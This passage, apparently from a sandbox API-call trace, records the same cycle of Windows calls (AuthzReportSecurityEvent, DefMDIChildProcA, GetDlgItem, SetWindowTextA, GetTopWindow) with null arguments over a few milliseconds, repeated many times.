dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.540] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.540] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.540] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.540] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.540] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.540] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.540] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.540] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.541] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.541] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.541] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.541] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.541] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.541] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.541] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.541] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.541] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.541] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.541] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.542] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.542] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.542] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.542] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.542] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.542] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.542] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.542] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.542] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.542] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.542] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.542] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.543] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.543] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.543] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.543] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.543] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.543] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.543] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.543] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.543] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.543] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.543] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.544] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.544] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.544] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.544] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.544] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.544] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.544] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.544] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.544] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.544] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.544] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.545] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.545] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.545] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.545] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.545] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.545] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.545] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.545] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.545] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.545] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.545] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.545] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.545] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.546] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.546] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.546] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.546] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.546] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.546] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.546] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.546] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.546] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.546] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.546] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.547] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.547] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 